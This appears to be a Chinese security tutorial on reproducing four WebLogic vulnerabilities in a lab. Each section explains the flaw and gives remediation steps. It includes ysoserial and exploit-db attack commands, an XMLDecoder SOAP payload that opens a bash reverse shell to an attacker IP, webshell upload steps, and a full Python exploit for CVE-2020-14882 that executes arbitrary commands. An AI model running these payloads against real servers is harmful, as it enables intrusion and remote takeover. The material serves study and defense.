weblogic反序列化漏洞原理分析
weblogic是oracle公司出品的application server,用于本地和云端开发,集成,部署和大型分布式web应用,网络应用和数据库应用的Java应用服务器
weblogic server是一个基于JAVAEE架构的中间件,将java的动态功能和java Enterprise标准的安全性引入大型网络应用开发,集成,部署和管理中,提供java Enterprise Edition和jakarta EE的可靠、成熟、可扩展的实现
CVE-2018-2628(反序列化)
漏洞描述
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过JRMP协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化payload的目的。
T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。
RMI方法:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)
JRMP:
Java远程消息交换协议JRMP。JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议,而JRMP底层则是基于TCP传递。RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议,而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。
漏洞复现
扫描结果说明T3协议开启
使用扫描工具探测漏洞
存在CVE-2018-2628漏洞
启动JRMP server 利用ysoserial
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/kali.txt'
'touch /tmp/akemi.txt'为我想执行的命令,1099是JRMP Server监听的端口。
攻击脚本
https://www.exploit-db.com/exploits/44553
python 44553.py 192.168.218.152 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.218.145 1099 JRMPClient
#192.168.218.152 7001是weblogic靶机的IP和端口
#ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 是ysoserial的本地路径根据自己真实路径填写
#192.168.218.145 1099的JRMP 一端的IP地址和端口
#JRMPClien是执行JRMPClient的类
进入容器查看是否创建成功
dokcer exec -it id /bin/bash
漏洞修复
关闭T3服务,或临时控制T3服务访问权限
打官方补丁
CVE-2018-2894(任意文件上传)
漏洞描述
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
漏洞复现
查看管理员账号密码
weblogic
GhbmnRR1
登录管理员后台 ip/console/login/LoginForm.jsp
base_domain-高级-启用web服务测试页-保存
现在访问/ws_utc/config.do(未授权访问)
修改work home dir:点击提交
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
因为ws_utc应用的静态文件css目录是无需访问权限的,而默认的工作目录即使上传成功,也无法访问。
之后就可以上传文件,点击安全-添加-上传webshell
坑:复现过程中蚁剑一直返回空值,使用冰蝎就正常反弹(很奇怪)
漏洞修复
CVE-2017-10271(XML Decoder反序列化)
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
漏洞复现
weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,具体路径我们在漏洞原理部分已经给出,这里就选第一个好了
访问/wls-wsat/CoordinatorPortType
把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来
kali监听端口
改包,将GET改为POST,加上反弹shell的恶意代码,添加Content-Type: text/xml
poc构造
这段POC的开头三行和末尾三号主要是SOAP的协议规范,SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制。具体内容读者自己查查资料,这里不做阐释。我们重点关注的是中间的内容,下面我们依次介绍XML的各个标签。
<java class="java.beans.XMLDecoder">
这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
<object class="java.lang.ProcessBuilder">
通过 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。
<array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>bash -i >& /dev/tcp/192.168.219.134/4444 0>&1</string></void> </array>
通过 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:
str[0] = '/bin/bash' str[1] = '-c' str[2] = 'bash -i >& /dev/tcp/192.168.219.134/4444'
其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令。注意反弹shell的语句需要进行编码,否则解析XML的时候将出现格式错误
<void method="start"></void>
void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.218.145/666 0>&1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header> <soapenv:Body/>
</soapenv:Envelope>
kali执行ls与whoami验证
漏洞修复
更新weblogic组建版本
卸载造成漏洞的包、如wls-wsat、_async等,或禁止对这些页面的访问。
部署网络防护设备,若请求的数据中含有xml数据,必须进行严格的过滤,避免执行恶意命令。
CVE-2020-14882(未授权命令执行漏洞)
漏洞分析
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码
漏洞复现
exp
import re
import sys
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:print('用法:python exp.py http(s):target-ip:target-port command')sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:i = 3while i < len(sys.argv):#在linux中可以使用${IFS}代替空格#windows的话部分命令可以使用=替代空格,大家可以自行修改脚本cmd += ' 'cmd += sys.argv[i]i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
response = requests.get(res, allow_redirects=False)
cookie_raw = response.headers['Set-Cookie']matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:cookie = matchObj.group(1)#print(cookie)
else:print('未获取到cookie!')sys.exit();#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False)
print(response.text)
漏洞修复
临时关闭后台/console/console.portal对外访问
安装最新补丁